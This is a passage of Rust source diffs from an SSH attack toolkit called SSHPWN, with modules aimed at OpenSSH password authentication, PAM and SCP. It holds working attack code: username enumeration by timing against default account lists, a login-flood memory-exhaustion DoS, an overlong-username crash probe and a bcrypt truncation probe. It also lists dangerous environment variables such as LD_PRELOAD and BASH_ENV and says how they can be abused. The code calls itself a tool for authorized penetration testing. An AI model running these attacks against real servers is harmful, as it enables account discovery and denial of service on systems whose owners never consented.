println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
println!();
println!("{}", "[*] Testing SSH password change behavior...".cyan());
// Note: SSH2 password change is signaled by a flag in the packet
// We can't easily test this with libssh2, but we can document the vulnerability
println!();
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
println!();
println!("{}", "[*] Vulnerability Details:".yellow());
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
println!("{}", " 3. Reveals server's password change configuration".dimmed());
println!();
println!("{}", "[*] Attack Vectors:".cyan());
println!("{}", " - Server fingerprinting via response timing".dimmed());
println!("{}", " - Configuration enumeration".dimmed());
println!("{}", " - Confirm valid authentication path reached".dimmed());
println!();
println!("{}", "[*] To test manually:".yellow());
println!("{}", " Use SSH client with password change support".dimmed());
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
println!();
println!("{}", "[INFO] This is an informational vulnerability".yellow());
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
Ok(true)
}
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
///
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
/// Different timing for valid vs invalid users enables enumeration
pub async fn attack_auth_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
println!();
// Get baseline timing with definitely invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
let mut baseline_times = Vec::new();
for i in 0..samples {
let password = format!("invalid_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
baseline_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
let baseline_stddev = (baseline_times.iter()
.map(|t| (t - baseline).powi(2))
.sum::<f64>() / baseline_times.len() as f64).sqrt();
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
println!();
// Test empty password timing (potential gap per vulnerability #3)
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > baseline_stddev * 2.0 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] Possible timing attack via empty password".yellow());
} else {
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for i in 0..samples {
let password = format!("invalid_test_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!("\r ");
println!();
println!("{}", "=== Auth Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users detected via timing".yellow());
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
} else {
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// Bcrypt 72-byte Limit Bypass Test
///
/// Vulnerability: bcrypt only uses first 72 bytes of password
/// Passwords longer than 72 bytes are effectively truncated
pub async fn attack_bcrypt_truncation(
host: &str,
port: u16,
username: &str,
base_password: &str,
) -> Result<bool> {
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
println!();
// bcrypt only uses first 72 bytes
let truncation_point = 72;
// If base password is shorter than 72, pad it
let test_base: String = if base_password.len() < truncation_point {
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
} else {
base_password.chars().take(truncation_point).collect()
};
// Create variants that differ only after 72 bytes
let password_72 = test_base.clone();
let password_73 = format!("{}X", test_base);
let password_100 = format!("{}{}", test_base, "X".repeat(28));
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
println!();
// Test each password
let passwords = vec![
("72-byte", &password_72),
("73-byte", &password_73),
("100-byte", &password_100),
];
let mut results = Vec::new();
for (name, password) in &passwords {
print!("[*] Testing {} password... ", name);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, password, 15) {
Some((time, success, msg)) => {
results.push((name.to_string(), time, success, msg.clone()));
if success {
println!("{}", "SUCCESS".green().bold());
} else {
println!("{}", format!("{:.2}s - {}", time, msg).dimmed());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Bcrypt Truncation Analysis ===".cyan().bold());
// Check if timing is consistent (would indicate truncation)
if results.len() >= 2 {
let time_72 = results.get(0).map(|r| r.1).unwrap_or(0.0);
let time_73 = results.get(1).map(|r| r.1).unwrap_or(0.0);
let time_100 = results.get(2).map(|r| r.1).unwrap_or(0.0);
let diff_73 = (time_73 - time_72).abs();
let diff_100 = (time_100 - time_72).abs();
if diff_73 < 0.1 && diff_100 < 0.1 {
println!("{}", "[*] Timing consistent across all lengths".yellow());
println!("{}", "[*] Server may be using bcrypt (72-byte truncation)".cyan());
println!();
println!("{}", "[!] Implication: Passwords >72 bytes provide no extra security".yellow().bold());
println!("{}", "[*] Password 'AAAA...AAA' (72) == 'AAAA...AAAXXX' (75)".dimmed());
return Ok(true);
}
}
println!("{}", "[*] Timing varies - server may not use bcrypt or has different handling".cyan());
println!("{}", "[*] Cannot confirm 72-byte truncation".dimmed());
Ok(false)
}
/// Prompt helpers
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "nobody",
"mysql", "postgres", "oracle", "ftp", "ssh",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. Password Length DoS Test");
println!(" 2. Password Change Information Leak (Analysis)");
println!(" 3. Auth Timing Attack (User Enumeration)");
println!(" 4. Bcrypt 72-byte Truncation Test");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
match mode.as_str() {
"1" => {
let username = prompt_default("Username to test", "root").await?;
let max_len: usize = prompt_default("Maximum password length", "8192").await?.parse().unwrap_or(8192);
attack_password_length_dos(&host, port, &username, max_len).await?;
}
"2" => {
attack_password_change_leak(&host, port).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
if usernames.is_empty() {
return Err(anyhow!("No usernames to test"));
}
attack_auth_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt_default("Username", "root").await?;
let base_password = prompt_default("Base password (will be padded to 72 chars)", "testpassword").await?;
attack_bcrypt_truncation(&host, port, &username, &base_password).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All Auth Password Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Password Length DoS ---".cyan());
let _ = attack_password_length_dos(&host, port, "root", 4096).await;
println!();
println!("{}", "--- Attack 2: Password Change Info Leak ---".cyan());
let _ = attack_password_change_leak(&host, port).await;
println!();
println!("{}", "--- Attack 3: Auth Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_auth_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Bcrypt Truncation ---".cyan());
let _ = attack_bcrypt_truncation(&host, port, "root", "testpassword").await;
}
}
println!();
println!("{}", "[*] Auth password attack module complete".green());
Ok(())
}
+640
View File
@@ -0,0 +1,640 @@
//! SSHPWN PAM Attack Module
//!
//! Based on OpenSSH 10.0p1 auth-pam.c vulnerability analysis
//!
//! PAM VULNERABILITIES (auth-pam.c):
//! - sshpam_password static storage - Password recovery via memory forensics (LOW)
//! - pam_putenv() memory leak - DoS via memory exhaustion (LOW)
//! - import_environments() - Environment variable injection (MEDIUM)
//! - Missing username length validation on non-Solaris (LOW-MEDIUM)
//! - setreuid() race condition - Privilege state issues (LOW)
//! - Timing attack mitigation gap - Incomplete coverage (LOW)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use ssh2::Session;
use std::{
io::{Read, Write},
net::TcpStream,
path::Path,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - PAM Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth-pam.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. PAM Memory Exhaustion DoS (pam_putenv leak) ║".cyan());
println!("{}", "║ 2. Username Length Overflow Test ║".cyan());
println!("{}", "║ 3. PAM Timing Attack (user enumeration) ║".cyan());
println!("{}", "║ 4. Environment Variable Injection Test ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse().context("Invalid address")?,
Duration::from_secs(timeout_secs),
).context("Connection failed")?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp.try_clone()?);
sess.handshake()?;
// Authenticate
if let Some(key) = keyfile {
sess.userauth_pubkey_file(username, None, Path::new(key), password)?;
} else if let Some(pass) = password {
sess.userauth_password(username, pass)?;
} else {
return Err(anyhow!("No authentication method provided"));
}
if !sess.authenticated() {
return Err(anyhow!("Authentication failed"));
}
Ok((tcp, sess))
}
/// Time a single authentication attempt (for timing attacks)
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<f64> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(_) => return None,
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(_) => return None,
};
sess.set_tcp_stream(tcp);
if sess.handshake().is_err() {
return None;
}
// Try authentication
let _ = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
Some(elapsed)
}
/// PAM Memory Exhaustion DoS Test
///
/// Vulnerability: auth-pam.c lines 378-382 - pam_putenv() memory leak
/// Each authentication attempt leaks memory. Repeated attempts can exhaust server memory.
pub async fn attack_pam_memory_dos(
host: &str,
port: u16,
iterations: u32,
delay_ms: u64,
) -> Result<bool> {
println!("{}", format!("[*] PAM Memory Exhaustion DoS on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c pam_putenv() memory leak".cyan());
println!();
println!("{}", "[!] WARNING: This test performs many authentication attempts".yellow().bold());
println!("{}", "[!] It may trigger account lockouts or rate limiting".yellow());
println!();
println!("{}", format!("[*] Testing with {} iterations, {}ms delay", iterations, delay_ms).cyan());
let mut successful = 0u32;
let mut failed = 0u32;
for i in 0..iterations {
if i % 10 == 0 {
print!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
let _ = std::io::stdout().flush();
}
// Try authentication with invalid credentials
// Each attempt that reaches PAM processing leaks memory
let invalid_pass = format!("invalid_{}_{}", std::process::id(), i);
match time_auth_attempt(host, port, "nobody", &invalid_pass, 10) {
Some(_) => successful += 1,
None => failed += 1,
}
if delay_ms > 0 {
std::thread::sleep(Duration::from_millis(delay_ms));
}
}
println!();
println!();
println!("{}", "=== PAM Memory DoS Results ===".cyan().bold());
println!("Total attempts: {}", iterations);
println!("Successful connections: {}", successful);
println!("Failed connections: {}", failed);
println!();
if successful > 0 {
println!("{}", "[VULN] Server accepted connections - memory leak may be exploitable".red().bold());
println!("{}", "[*] Monitor server memory usage during extended attacks".cyan());
println!("{}", "[*] Each PAM environment variable leaked per auth attempt".cyan());
Ok(true)
} else {
println!("{}", "[-] Could not establish connections - rate limiting may be active".yellow());
Ok(false)
}
}
/// Username Length Overflow Test
///
/// Vulnerability: auth-pam.c lines 696-699 - Username length only validated on Solaris
/// Non-Solaris systems may be vulnerable to buffer overflows in PAM modules
pub async fn attack_pam_username_overflow(
host: &str,
port: u16,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] PAM Username Length Overflow Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c missing username length validation".cyan());
println!("{}", "[*] Only Solaris validates PAM_MAX_RESP_SIZE (1024 bytes)".cyan());
println!();
// Test progressively longer usernames
let test_lengths = vec![
64, 128, 256, 512, 1024, 2048, 4096, 8192,
max_length.min(16384),
];
println!("{}", "[*] Testing username lengths:".cyan());
let mut vulnerable_length = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate username of specified length
let username: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
let start = Instant::now();
let result = time_auth_attempt(host, port, &username, "test", 15);
let elapsed = start.elapsed();
match result {
Some(t) => {
if elapsed.as_secs() > 10 {
println!("{}", format!("SLOW ({:.2}s) - potential DoS", t).yellow());
vulnerable_length = Some(len);
} else {
println!("{}", format!("OK ({:.2}s)", t).green());
}
}
None => {
if elapsed.as_secs() > 10 {
println!("{}", "TIMEOUT - server may have crashed/hung".red().bold());
vulnerable_length = Some(len);
break;
} else {
println!("{}", "Connection failed".yellow());
}
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Username Overflow Results ===".cyan().bold());
if let Some(len) = vulnerable_length {
println!("{}", format!("[VULN] Potential vulnerability at {} bytes", len).red().bold());
println!("{}", "[*] Server showed abnormal behavior with long username".cyan());
println!("{}", "[*] PAM modules may have fixed-size username buffers".cyan());
Ok(true)
} else {
println!("{}", "[*] No obvious overflow detected".green());
println!("{}", "[*] Server may have proper input validation".cyan());
Ok(false)
}
}
/// PAM Timing Attack - Enhanced user enumeration
///
/// Vulnerability: auth-pam.c lines 1361-1368 - Timing attack mitigation gap
/// fake_password() only used for invalid users/root denied, not for empty passwords
pub async fn attack_pam_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] PAM Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c incomplete timing mitigation".cyan());
println!("{}", "[*] Testing: valid vs invalid user timing differences".cyan());
println!();
// Establish baseline with definitely invalid user
let baseline_user = format!("nonexistent_user_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline timing...".cyan());
let mut baseline_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "invalid", 15) {
baseline_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline - cannot reach target".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
println!("{}", format!("[*] Baseline timing: {:.3}s", baseline).cyan());
// Test empty password timing (potential gap in fake_password coverage)
println!();
println!("{}", "[*] Testing empty password timing gap...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > 0.1 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] This may indicate incomplete timing attack mitigation".yellow());
} else {
println!("{}", format!("[*] Empty password timing: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
// Test provided usernames
println!();
println!("{}", "[*] Testing usernames for timing differences...".cyan());
let mut valid_users = Vec::new();
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for _ in 0..samples {
if let Some(t) = time_auth_attempt(host, port, user, "invalid_password", 15) {
times.push(t);
}
std::thread::sleep(Duration::from_millis(100));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
// Significant timing difference indicates valid user
if diff.abs() > 0.3 {
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!();
println!("{}", "=== PAM Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users found via timing attack".yellow());
} else {
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// PAM Environment Variable Injection Test
///
/// Vulnerability: auth-pam.c lines 350-383 - import_environments()
/// Up to 1024 env vars imported from PAM subprocess without sanitization
pub async fn attack_pam_env_injection(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
) -> Result<bool> {
println!("{}", format!("[*] PAM Environment Injection Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth-pam.c import_environments()".cyan());
println!("{}", "[*] Tests what environment variables are accepted/set".cyan());
println!();
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
// Check current environment
let dangerous_vars = vec![
"LD_PRELOAD",
"LD_LIBRARY_PATH",
"LD_AUDIT",
"LD_DEBUG",
"LD_PROFILE",
"PATH",
"BASH_ENV",
"ENV",
"CDPATH",
"GLOBIGNORE",
"BASH_FUNC_",
"SSH_AUTH_INFO_0",
"KRB5CCNAME",
"SSH_CONNECTION",
];
println!("{}", "[*] Checking dangerous environment variables:".cyan());
let mut channel = sess.channel_session()?;
channel.exec("env")?;
let mut env_output = String::new();
channel.read_to_string(&mut env_output)?;
channel.wait_close()?;
let mut found_dangerous = Vec::new();
for var in &dangerous_vars {
for line in env_output.lines() {
if line.starts_with(var) {
println!("{}", format!(" [!] {}", line).yellow());
found_dangerous.push(line.to_string());
}
}
}
println!();
println!("{}", "[*] Testing PAM-specific variables:".cyan());
// Check for PAM-related environment
let pam_vars = vec!["PAM_", "SSH_AUTH", "KRB5", "GSSAPI"];
for var in &pam_vars {
for line in env_output.lines() {
if line.contains(var) {
println!("{}", format!(" [PAM] {}", line).cyan());
}
}
}
println!();
println!("{}", "=== PAM Environment Results ===".cyan().bold());
// Explicit session cleanup
drop(sess);
if !found_dangerous.is_empty() {
println!("{}", format!("[!] Found {} potentially dangerous variables", found_dangerous.len()).yellow());
println!("{}", "[*] These could be exploited by malicious PAM modules".cyan());
println!();
println!("{}", "[*] Attack vectors:".cyan());
println!("{}", " - LD_PRELOAD: Load malicious shared library".dimmed());
println!("{}", " - PATH: Execute trojan commands".dimmed());
println!("{}", " - BASH_ENV: Execute code on bash startup".dimmed());
println!("{}", " - KRB5CCNAME: Credential cache manipulation".dimmed());
} else {
println!("{}", "[*] No obviously dangerous variables found in environment".green());
}
println!();
println!("{}", "[*] Note: Environment injection requires compromised PAM module".yellow());
println!("{}", "[*] Check /etc/pam.d/sshd for module configuration".dimmed());
Ok(!found_dangerous.is_empty())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_optional(message: &str) -> Result<Option<String>> {
print!("{} (leave empty to skip): ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(None)
} else {
Ok(Some(trimmed.to_string()))
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames for timing attack
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "test", "guest",
"ubuntu", "www-data", "daemon", "bin", "sys",
"nobody", "mysql", "postgres", "oracle", "ftp",
"ssh", "apache", "nginx", "tomcat", "redis",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
let host = normalize_target(target)?;
println!("{}", format!("[*] Target: {}", host).cyan());
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(22);
println!();
println!("{}", "Select attack mode:".yellow().bold());
println!(" 1. PAM Memory Exhaustion DoS (no auth required)");
println!(" 2. Username Length Overflow Test (no auth required)");
println!(" 3. PAM Timing Attack - User Enumeration (no auth required)");
println!(" 4. Environment Variable Injection (requires auth)");
println!(" 5. Run All Attacks");
println!();
let mode = prompt_default("Attack mode", "3").await?;
match mode.as_str() {
"1" => {
let iterations: u32 = prompt_default("Number of attempts", "100").await?.parse().unwrap_or(100);
let delay: u64 = prompt_default("Delay between attempts (ms)", "100").await?.parse().unwrap_or(100);
attack_pam_memory_dos(&host, port, iterations, delay).await?;
}
"2" => {
let max_len: usize = prompt_default("Maximum username length", "8192").await?.parse().unwrap_or(8192);
attack_pam_username_overflow(&host, port, max_len).await?;
}
"3" => {
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(3);
// Get usernames
let mut usernames: Vec<String> = Vec::new();
if prompt_yes_no("Use default username list?", true).await? {
for user in DEFAULT_USERNAMES {
usernames.push(user.to_string());
}
}
let custom = prompt_optional("Additional usernames (comma-separated)").await?;
if let Some(custom_users) = custom {
for user in custom_users.split(',') {
let user = user.trim();
if !user.is_empty() && !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
}
}
attack_pam_timing(&host, port, &usernames, samples).await?;
}
"4" => {
let username = prompt("Username").await?;
if username.is_empty() {
return Err(anyhow!("Username is required"));
}
let password = prompt_optional("Password").await?;
let keyfile = prompt_optional("SSH Key File Path").await?;
if password.is_none() && keyfile.is_none() {
return Err(anyhow!("Either password or keyfile is required"));
}
attack_pam_env_injection(&host, port, &username, password.as_deref(), keyfile.as_deref()).await?;
}
"5" | _ => {
println!();
println!("{}", "=== Running All PAM Attacks ===".yellow().bold());
println!();
println!("{}", "--- Attack 1: Memory Exhaustion ---".cyan());
if prompt_yes_no("Run memory DoS test (50 iterations)?", false).await? {
let _ = attack_pam_memory_dos(&host, port, 50, 100).await;
} else {
println!("{}", "[*] Skipped".dimmed());
}
println!();
println!("{}", "--- Attack 2: Username Overflow ---".cyan());
let _ = attack_pam_username_overflow(&host, port, 4096).await;
println!();
println!("{}", "--- Attack 3: Timing Attack ---".cyan());
let usernames: Vec<String> = DEFAULT_USERNAMES.iter().map(|s| s.to_string()).collect();
let _ = attack_pam_timing(&host, port, &usernames, 2).await;
println!();
println!("{}", "--- Attack 4: Environment Injection ---".cyan());
println!("{}", "[*] Requires authentication - skipping in automated mode".dimmed());
}
}
println!();
println!("{}", "[*] PAM attack module complete".green());
Ok(())
}
@@ -0,0 +1,478 @@
//! SSHPWN SCP Attack Module
//!
//! Based on OpenSSH 10.0p1 vulnerability analysis
//!
//! SCP VULNERABILITIES (scp.c):
//! - okname() - Incomplete shell character filtering (MEDIUM)
//! - sink() - Path traversal via filename manipulation (HIGH)
//! - do_cmd() - Command injection via arguments (HIGH)
//! - brace_expand() - DoS via exponential expansion (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::{normalize_target, validate_file_path};
use ssh2::Session;
use std::{
io::Read,
net::TcpStream,
path::Path,
time::Duration,
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const DEFAULT_TIMEOUT_SECS: u64 = 30;
/// Format a number with thousands separators
fn format_number(n: u64) -> String {
let s = n.to_string();
let bytes: Vec<_> = s.bytes().rev().collect();
let chunks: Vec<_> = bytes.chunks(3)
.filter_map(|chunk| String::from_utf8(chunk.to_vec()).ok())
.collect();
chunks.join(",").chars().rev().collect()
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - SCP Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH scp.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Path Traversal (sink function) ║".cyan());
println!("{}", "║ 2. Username Shell Injection (okname) ║".cyan());
println!("{}", "║ 3. Brace Expansion DoS (brace_expand) ║".cyan());
println!("{}", "║ 4. Command Injection (do_cmd) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Create SSH session with authentication
fn create_ssh_session(
host: &str,
port: u16,
username: &str,
password: Option<&str>,
keyfile: Option<&str>,
timeout_secs: u64,
) -> Result<(TcpStream, Session)> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
